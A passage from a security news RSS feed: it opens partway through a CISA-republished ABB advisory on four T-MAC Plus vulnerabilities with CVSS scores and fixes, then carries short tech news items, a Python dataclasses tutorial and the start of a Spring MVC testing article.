<td>ABB</td>
<td>ABB T-MAC Plus</td>
<td>Files or Directories Accessible to External Parties, Authorization Bypass Through User-Controlled Key, Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), Incorrect Authorization</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Switzerland</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-14771</a></h3>
<div class="csaf-accordion-content">
<p>File Disclosure in ABB T-MAC Plus web application allows authenticated users to exfiltrate files containing sensitive information via crafted HTTP GET request.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-14771">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB T-MAC Plus</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB T-MAC Plus 4.0-24</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>ABB has investigated these vulnerabilities to provide adequate protection to customers. The problem is corrected in the following product versions: T-MAC Plus version 4.0-25 ABB recommends that customers apply the update at earliest convenience.</p>
<p><strong>Mitigation</strong><br>The misconfigurations on the IIS server, which were reported to security auditing, have been corrected. File Browsing Feature was enabled on that IIS server. That feature along with the default IIS site has been removed.</p>
<p><strong>Workaround</strong><br>Workarounds are specific measures that a user can take to help block an attack, for example, temporarily disabling the vulnerable feature may remove the exposure with well-known impact on functionality. ABB has tested the following workarounds. Although these workarounds will not correct the underlying vulnerability, they can help block known attack vectors. When a workaround reduces functionality, this is identified below as “Impact of workaround”.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/552.html">CWE-552 Files or Directories Accessible to External Parties</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.9</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-14772</a></h3>
<div class="csaf-accordion-content">
<p>Broken access controls in ABB T-MAC Plus web application allows unprivileged users to performs administrative operations</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-14772">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB T-MAC Plus</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB T-MAC Plus 4.0-24</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>ABB has investigated these vulnerabilities to provide adequate protection to customers. The problem is corrected in the following product versions: T-MAC Plus version 4.0-25 ABB recommends that customers apply the update at earliest convenience.</p>
<p><strong>Mitigation</strong><br>ABB T-MAC Plus web application supports several classes of users (e.g., Admin, Customer, Operator, etc.) with different roles. An authenticated user with low privileges (e.g., Customer) can execute administrative operations. The privileges associated to the different users have been revised and applied correctly.</p>
<p><strong>Workaround</strong><br>Workarounds are specific measures that a user can take to help block an attack, for example, temporarily disabling the vulnerable feature may remove the exposure with well-known impact on functionality. ABB has tested the following workarounds. Although these workarounds will not correct the underlying vulnerability, they can help block known attack vectors. When a workaround reduces functionality, this is identified below as “Impact of workaround”.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/639.html">CWE-639 Authorization Bypass Through User-Controlled Key</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-14773</a></h3>
<div class="csaf-accordion-content">
<p>Stored Cross-Site Scripting (XSS) in ABB T-MAC Plus web application allows authenticated users to execute arbitrary HTML or JavaScript code on victims browser.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-14773">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB T-MAC Plus</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB T-MAC Plus 4.0-24</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>ABB has investigated these vulnerabilities to provide adequate protection to customers. The problem is corrected in the following product versions: T-MAC Plus version 4.0-25 ABB recommends that customers apply the update at earliest convenience.</p>
<p><strong>Mitigation</strong><br>A DOM-based XSS vulnerability is present. If a malicious actor gains access to the operations network and can create or edit an existing entity, they could insert malicious JavaScript code to be executed in the web forms. New T-MAC Plus version 4.0-25 will correct the vulnerability.</p>
<p><strong>Workaround</strong><br>Workarounds are specific measures that a user can take to help block an attack, for example, temporarily disabling the vulnerable feature may remove the exposure with well-known impact on functionality. ABB has tested the following workarounds. Although these workarounds will not correct the underlying vulnerability, they can help block known attack vectors. When a workaround reduces functionality, this is identified below as “Impact of workaround”.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-14774</a></h3>
<div class="csaf-accordion-content">
<p>Insecure network protocol in ABB T-MAC Plus allows unauthenticated attackers to perform a denial-of-service (DoS) of the Card Reader service.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-14774">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>ABB T-MAC Plus</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>ABB</div>
<div class="ics-version"><strong>Product Version:</strong><br>ABB T-MAC Plus 4.0-24</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>ABB has investigated these vulnerabilities to provide adequate protection to customers. The problem is corrected in the following product versions: T-MAC Plus version 4.0-25 ABB recommends that customers apply the update at earliest convenience.</p>
<p><strong>Mitigation</strong><br>If a malicious actor gains physical access to a serial device, disables it, connects a malicious device with same IP address, and sends a specially crafted message, the service responsible for communicating with the device will be blocked until a manual restart is performed. New T-MAC Plus version 4.0-25 will correct the vulnerability.</p>
<p><strong>Workaround</strong><br>Workarounds are specific measures that a user can take to help block an attack, for example, temporarily disabling the vulnerable feature may remove the exposure with well-known impact on functionality. ABB has tested the following workarounds. Although these workarounds will not correct the underlying vulnerability, they can help block known attack vectors. When a workaround reduces functionality, this is identified below as “Impact of workaround”.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/863.html">CWE-863 Incorrect Authorization</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.4</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Angelo Catalani of the Italian National Cybersecurity Agency (ACN) responsibly disclosed the vulnerabilities and provided valuable input on product improvements.</li>
</ul>
<hr>
<h2>Notice</h2>
<p>The information in this document is subject to change without notice, and should not be construed as a commitment by ABB. ABB provides no warranty, express or implied, including warranties of merchantability and fitness for a particular purpose, for the information contained in this document, and assumes no responsibility for any errors that may appear in this document. In no event shall ABB or any of its suppliers be liable for direct, indirect, special, incidental or consequential damages of any nature or kind arising from the use of this document, or from the use of any hardware or software described in this document, even if ABB or its suppliers have been advised of the possibility of such damages. This document and parts hereof must not be reproduced or copied without written permission from ABB, and the contents hereof must not be imparted to a third party nor used for any unauthorized purpose. All rights to registrations and trademarks reside with their respective owners.</p>
<hr>
<h2>Frequently Asked Questions</h2>
<p>What causes the vulnerability? - The vulnerabilities are caused by: - Wrong configuration in T-MAC Plus IIS Server. - Wrong configuration of privileges of users. - Lack of encryption in communication protocol. What is T-MAC Plus? - T-MAC Plus is a Terminal Management System (TMS) that handles the different operations (receipt and dispatch product, access control, product movement in the tank farm, …) in a terminal. It is applicable to different type of products such as chemical and petroleum terminals, pipeline or refinery tankage, bulk plants or hydrogen terminals. The following components are affected: - TMAC Plus Web application - Communication protocol with Card Readers What might an attacker use the vulnerability to do? - An attacker who successfully exploited this vulnerability could cause the affected system node to stop or become inaccessible and allow the attacker to insert and run arbitrary code. How could an attacker exploit the vulnerability? - An attacker could try to exploit the vulnerability by creating a specially crafted message and sending the message to an affected system node. This would require that the attacker has access to the system network, by connecting to the network directly. Recommended practices help mitigate such attacks, see section Mitigating Factors. Could the vulnerability be exploited remotely? - No, to exploit this vulnerability an attacker would need to have physical access to an affected system node. Can functional safety be affected by an exploit of this vulnerability? - While these vulnerabilities primarily impact confidentiality, integrity, and availability, they do not directly affect functional safety in the traditional sense What does the update do? - The update removes the vulnerability by modifying the way that the T-MAC Plus web application and the communication protocol are configured. When this security advisory was issued, had this vulnerability been publicly disclosed? - No, ABB received information about this vulnerability through responsible disclosure. When this security advisory was issued, had ABB received any reports that this vulnerability was being exploited? - No, ABB had not received any information indicating that this vulnerability had been exploited when this security advisory was originally.</p>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolate them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<hr>
<h2>Advisory Conversion Disclaimer</h2>
<p>This ICSA is a verbatim republication of ABB PSIRT 9AKK108472A7840 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided "as-is" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact ABB PSIRT directly for any questions regarding this advisory.</p>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-06-03</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-06-03</td>
<td>1</td>
<td>Initial version.</td>
</tr>
<tr>
<td>2026-07-14</td>
<td>2</td>
<td>Initial CISA Republication of ABB PSIRT 9AKK108472A7840 advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[DeepSeek weighs new fundraising a month after closing first round]]></title>
<description><![CDATA[Unusually swift pace of capital injection comes as Chinese AI start-up seeks to build out infrastructure]]></description>
<link>https://tsecurity.de/de/3667671/ai-nachrichten/deepseek-weighs-new-fundraising-a-month-after-closing-first-round/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667671/ai-nachrichten/deepseek-weighs-new-fundraising-a-month-after-closing-first-round/</guid>
<pubDate>Tue, 14 Jul 2026 12:50:00 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Unusually swift pace of capital injection comes as Chinese AI start-up seeks to build out infrastructure]]></content:encoded>
</item>
<item>
<title><![CDATA[Suzuki plant zwei neue Elektroautos, aber keinen E-Swift]]></title>
<description><![CDATA[Suzuki zeigte 2024 sein erstes Elektroauto, danach wurde es allerdings ruhig bei den elektrischen Antrieben und man sah die Elektromobilität wieder kritischer. Doch auch Suzuki muss die CO₂-Vorgaben erfüllen und …]]></description>
<link>https://tsecurity.de/de/3667092/it-nachrichten/suzuki-plant-zwei-neue-elektroautos-aber-keinen-e-swift/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667092/it-nachrichten/suzuki-plant-zwei-neue-elektroautos-aber-keinen-e-swift/</guid>
<pubDate>Tue, 14 Jul 2026 09:03:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1600" height="1066" src="https://i0.wp.com/www.mobiflip.de/wp-content/uploads/2024/11/suzuki-evitara-header.jpg?fit=1600%2C1066&amp;ssl=1" class="attachment-full size-full wp-post-image" alt="Suzuki Evitara Header" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.mobiflip.de/wp-content/uploads/2024/11/suzuki-evitara-header.jpg?w=1600&amp;ssl=1 1600w, https://i0.wp.com/www.mobiflip.de/wp-content/uploads/2024/11/suzuki-evitara-header.jpg?resize=690%2C460&amp;ssl=1 690w" sizes="(max-width: 1600px) 100vw, 1600px">
Suzuki zeigte 2024 sein erstes Elektroauto, danach wurde es allerdings ruhig bei den elektrischen Antrieben und man sah die Elektromobilität wieder kritischer. Doch auch Suzuki muss die CO₂-Vorgaben erfüllen und …]]></content:encoded>
</item>
<item>
<title><![CDATA[How to use Python dataclasses]]></title>
<description><![CDATA[Everything in Python is an object, or so the saying goes. If you want to create your own custom objects, with their own properties and methods, you use Python’s class object to do it. But creating classes in Python sometimes means writing loads of repetitive, boilerplate code; for example, to set...]]></description>
<link>https://tsecurity.de/de/3665679/ai-nachrichten/how-to-use-python-dataclasses/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665679/ai-nachrichten/how-to-use-python-dataclasses/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:45 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Everything in <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html">Python</a> is an object, or so the saying goes. If you want to create your own custom objects, with their own properties and methods, you use Python’s <code>class</code> object to do it. But creating classes in Python sometimes means writing loads of repetitive, boilerplate code; for example, to set up the class instance from the parameters passed to it or to create common functions like comparison operators.</p>



<p class="wp-block-paragraph">Dataclasses, introduced in Python 3.7 (<a href="https://pypi.org/project/dataclasses/">and backported to Python 3.6</a>), provide a handy, less-verbose way to create classes. Many of the common things you do in a class, like instantiating properties from the arguments passed to the class, can be reduced to a few basic instructions by using dataclasses.</p>



<h2 class="wp-block-heading">The backstage power of Python dataclasses</h2>



<p class="wp-block-paragraph">Consider this example of a conventional class in Python:</p>



<pre class="wp-block-code"><code>
class Book:
    '''Object for tracking physical books in a collection.'''
    def __init__(self, name: str, weight: float, shelf_id:int = 0):
        self.name = name
        self.weight = weight # in grams, for calculating shipping
        self.shelf_id = shelf_id
    def __repr__(self):
        return(f"Book(name={self.name!r},
            weight={self.weight!r}, shelf_id={self.shelf_id!r})")
</code></pre>



<p class="wp-block-paragraph">The biggest headache here is that you must copy each of the arguments passed to <code>__init__</code> to the object’s properties. This isn’t so bad if you’re only dealing with <code>Book</code>, but what if you have additional classes—say, a <code>Bookshelf</code>, <code>Library</code>, <code>Warehouse</code>, and so on? Plus, typing all that code by hand increases your chances of making a mistake.</p>



<p class="wp-block-paragraph">Here’s the same class implemented as a Python dataclass:</p>



<pre class="wp-block-code"><code>
from dataclasses import dataclass

@dataclass
class Book:
    '''Object for tracking physical books in a collection.'''
    name: str
    weight: float 
    shelf_id: int = 0
</code></pre>



<p class="wp-block-paragraph">When you specify properties, called <em>fields</em>, in a dataclass, the <code>@dataclass</code> decorator automatically generates all the code needed to initialize them. It also preserves the type information for each property, so if you use a linting too that checks type information, it will ensure that you’re supplying the right kinds of variables to the class constructor.</p>



<p class="wp-block-paragraph">Another thing <code>@dataclass</code> does behind the scenes is to automatically create code for common dunder methods in the class. In the conventional class above, we had to create our own <code>__repr__</code>. In the dataclass, the <code>@dataclass</code> decorator generates the <code>__repr__</code> for you. While you still can override the generated code, you don’t need to manually write code for the most common cases.</p>



<p class="wp-block-paragraph">Once a dataclass is created, it is functionally identical to a regular class. There is no performance penalty for using a dataclass. There’s only a small performance penalty for declaring the class as a dataclass, and that’s a one-time cost when the dataclass object is created.</p>



<h2 class="wp-block-heading">Advanced Python dataclass initialization</h2>



<p class="wp-block-paragraph">The dataclass decorator can take <a href="https://docs.python.org/3.11/library/dataclasses.html#dataclasses.dataclass">initialization options of its own</a>. Most of the time, you won’t need to supply them, but they can come in handy for certain edge cases. Here are some of the most useful ones (they’re all <code>True/False</code>):</p>



<ul class="wp-block-list">
<li><code>frozen</code>: Generates class instances that are read-only. Once data has been assigned, it can’t be modified. This is useful if instances of the dataclass are intended to be <em>hashable</em>, which allows them (among other things) to be used as dictionary keys. If you set <code>frozen</code>, the generated dataclass will also automatically have a <code>__hash__</code> method created for it. (You also can use <code>unsafe_hash=true</code> to generate a <code>__hash__</code> method for the dataclass, regardless of whether the dataclass is read-only or not, but that call invokes unsafe behavior.)</li>



<li><code>slots</code>: Allows instances of dataclasses to use less memory by only allowing fields explicitly defined in the class. The memory savings really only manifest at scale — e.g., when generating upwards of thousands of instances of a given object. If you’re only generating a couple of dataclass instances at a time, it probably isn’t worth it.</li>



<li><code>kw_only</code>: This setting makes all fields for the class keyword-only, so they must be defined using keyword arguments rather than positional arguments. This is a useful way to provide a dataclass instance’s arguments by way of a dictionary.</li>
</ul>



<h2 class="wp-block-heading">Customizing Python dataclass fields</h2>



<p class="wp-block-paragraph">How dataclasses work by default should be okay for the majority of use cases. Sometimes, though, you need to fine-tune how the fields in your dataclass are initialized. The following code sample demonstrates how to use the <code>field</code> function for fine-tuning:</p>



<pre class="wp-block-code"><code>
from dataclasses import dataclass, field
from typing import List

@dataclass
class Book:
    '''Object for tracking physical books in a collection.'''
    name: str     
    condition: str = field(compare=False)    
    weight: float = field(default=0.0, repr=False)
    shelf_id: int = 0
    chapters: List[str] = field(default_factory=list)
</code></pre>



<p class="wp-block-paragraph">When you set a default value to an instance of <code>field</code>, it changes how the field is set up depending on what parameters you provide. These are the most commonly-used options for <code>field</code> (though there are others):</p>



<ul class="wp-block-list">
<li><code>default</code>: Sets the default value for the field. You should use <code>default</code> if you a) use <code>field</code> to change any other parameters for the field, and b) want to set a default value on the field on top of that. In the above example, we used default to set <code>weight</code> to 0.0.</li>



<li><code>default_factory</code>: Provides the name of a function, which takes no parameters, that returns some object to serve as the default value for the field. In the example, we wanted <code>chapters</code> to be an empty list.</li>



<li><code>repr</code>: By default <code>(True)</code>, controls if the field in question shows up in the automatically generated <code>__repr__</code> for the dataclass. In this case, we didn’t want the book’s weight shown in the <code>__repr__</code>, so we used <code>repr=False</code> to omit it.</li>



<li><code>compare</code>: By default <code>(True)</code>, includes the field in the comparison methods automatically generated for the dataclass. Here, we didn’t want <code>condition</code> to be used as part of the comparison for two books, so we set <code>compare=False</code>.</li>
</ul>



<p class="wp-block-paragraph">Note that we adjusted the order of the fields so the non-default fields appeared first.</p>



<h2 class="wp-block-heading">Controlling Python dataclass initialization</h2>



<p class="wp-block-paragraph">At this point, you might be wondering, “How do I get control over the init process to make more fine-grained changes if the <code>__init__</code> method of a dataclass is generated automatically?” In these cases, you can use the <code>__post_init__</code> method or or <code>InitVar</code> type. </p>



<h3 class="wp-block-heading">__post_init__</h3>



<p class="wp-block-paragraph">If you include the <code>__post_init__</code> method in your dataclass definition, you can provide instructions for modifying fields or other instance data:</p>



<pre class="wp-block-code"><code>
from dataclasses import dataclass, field
from typing import List

@dataclass
class Book:
    '''Object for tracking physical books in a collection.'''
    name: str    
    weight: float = field(default=0.0, repr=False)
    shelf_id: Optional[int] = field(init=False)
    chapters: List[str] = field(default_factory=list)
    condition: str = field(default="Good", compare=False)

    def __post_init__(self):
        if self.condition == "Discarded":
            self.shelf_id = None
        else:
            self.shelf_id = 0
</code></pre>



<p class="wp-block-paragraph">In this example, we’ve created a <code>__post_init__</code> method to set <code>shelf_id</code> to <code>None</code> if the book’s condition is initialized as <code>"Discarded"</code>. Note how we use <code>field</code> to initialize <code>shelf_id</code>, and pass <code>init</code> as <code>False</code> to <code>field</code>. This means <code>shelf_id</code> won’t be initialized in <code>__init__</code>, but it <em>is</em> registered as a <code>field</code> with the dataclass overall, with type <code>information</code>.</p>



<h3 class="wp-block-heading">InitVar</h3>



<p class="wp-block-paragraph">Another way to customize Python dataclass setup is to use the <code>InitVar</code> type. This lets you specify a field that will be passed to <code>__init__</code> and then to <code>__post_init__</code>, but won’t be stored in the class instance.</p>



<p class="wp-block-paragraph">By using <code>InitVar</code>, you can take in parameters when setting up the dataclass that are only used during initialization. Here’s an example:</p>



<pre class="wp-block-code"><code>
from dataclasses import dataclass, field, InitVar
from typing import List

@dataclass
class Book:
    '''Object for tracking physical books in a collection.'''
    name: str     
    condition: InitVar[str] = "Good"
    weight: float = field(default=0.0, repr=False)
    shelf_id: int = field(init=False)
    chapters: List[str] = field(default_factory=list)

    def __post_init__(self, condition):
        if condition == "Unacceptable":
            self.shelf_id = None
        else:
            self.shelf_id = 0
</code></pre>



<p class="wp-block-paragraph">Setting a field’s type to <code>InitVar</code> (with its subtype being the actual field type) signals to <code>@dataclass</code> to not make that field into a dataclass field, but to pass the data along to <code>__post_init__</code> as an argument.</p>



<p class="wp-block-paragraph">In this version of our <code>Book</code> class, we’re not storing <code>condition</code> as a field in the class instance. We’re only using <code>condition</code> during the initialization phase. If we find that condition was set to <code>"Unacceptable"</code>, we set <code>shelf_id</code> to <code>None</code>—but we don’t store <code>condition</code> itself in the class instance.</p>



<h2 class="wp-block-heading">When to use Python dataclasses, and when not to</h2>



<p class="wp-block-paragraph">One common scenario for using dataclasses is to <em>replace the namedtuple</em>. Dataclasses offer the same behaviors and more, and they can be made immutable (as <a href="https://docs.python.org/3/library/collections.html#collections.namedtuple">namedtuples</a> are) by simply using <code>@dataclass(frozen=True)</code> as the decorator.</p>



<p class="wp-block-paragraph">Another possible use case is <em>replacing nested dictionaries</em> (which can be clumsy) with nested instances of dataclasses. If you have a dataclass <code>Library</code>, with a list property of <code>shelves</code>, you could use a dataclass <code>ReadingRoom</code> to populate that list, then add methods to make it easy to access nested items (e.g., a book on a shelf in a particular room).</p>



<p class="wp-block-paragraph">It’s also important to note, though, that <em>not every Python class needs to be a dataclass</em>. If you’re creating a class mainly to group together a bunch of static methods, rather than as a container for data, you don’t need to make it a dataclass. For instance, a common pattern with parsers is to have a class that takes in an abstract syntax tree, walks the tree, and dispatches calls to different methods in the class based on the node type. Because the parser class has very little data of its own, a dataclass isn’t useful here.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Unit testing Spring MVC applications with JUnit 5]]></title>
<description><![CDATA[Spring is a reliable and popular framework for building web and enterprise Java applications. In this article, you’ll learn how to unit test each layer of a Spring MVC application, using built-in testing tools from JUnit 5 and Spring to mock each component’s dependencies. In addition to unit test...]]></description>
<link>https://tsecurity.de/de/3665676/ai-nachrichten/unit-testing-spring-mvc-applications-with-junit-5/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665676/ai-nachrichten/unit-testing-spring-mvc-applications-with-junit-5/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html" data-type="link" data-id="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html">Spring</a> is a reliable and popular framework for building web and enterprise <a href="https://www.infoworld.com/java/">Java</a> applications. In this article, you’ll learn how to unit test each layer of a Spring MVC application, using built-in testing tools from <a href="https://www.infoworld.com/article/3993538/how-to-test-your-java-applications-with-junit-5.html">JUnit 5</a> and Spring to mock each component’s dependencies. In addition to unit testing with MockMvc, Mockito, and Spring’s <code>TestEntityManager</code>, I’ll also briefly introduce slice testing using the <code>@WebMvcTest</code> and <code>@DataJpaTest</code> annotations, used to optimize unit tests on web controllers and databases.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3993538/how-to-test-your-java-applications-with-junit-5.html">How to test your Java applications with JUnit 5</a>.</strong></p>



<h2 class="wp-block-heading">Overview of testing Spring MVC applications</h2>



<p class="wp-block-paragraph">Spring MVC applications are defined using three technology layers:</p>



<ul class="wp-block-list">
<li><em>Controllers</em> accept web requests and return web responses.</li>



<li><em>Services</em> implement the application’s business logic.</li>



<li><em>Repositories</em> persist data to and from your back-end <a href="https://www.infoworld.com/article/2337457/sql-at-50-whats-next-for-the-structured-query-language.html">SQL</a> or <a href="https://www.infoworld.com/article/2260280/what-is-nosql-databases-for-a-cloud-scale-future.html">NoSQL</a> database.</li>
</ul>



<p class="wp-block-paragraph">When we unit test Spring MVC applications, we test each layer separately from the others. We create mock implementations, typically using <a href="https://site.mockito.org/">Mockito</a>, for each layer’s dependencies, then we simulate the logic we want to test. For example, a controller may call a service to retrieve a list of objects. When testing the controller, we create a mock service that either returns the list of objects, returns an empty list, or throws an exception. This test ensures the controller behaves correctly.</p>



<p class="wp-block-paragraph">We’ll use Spring MVC to build and test a simple web service that manages widgets. The structure of the web service is shown here:</p>


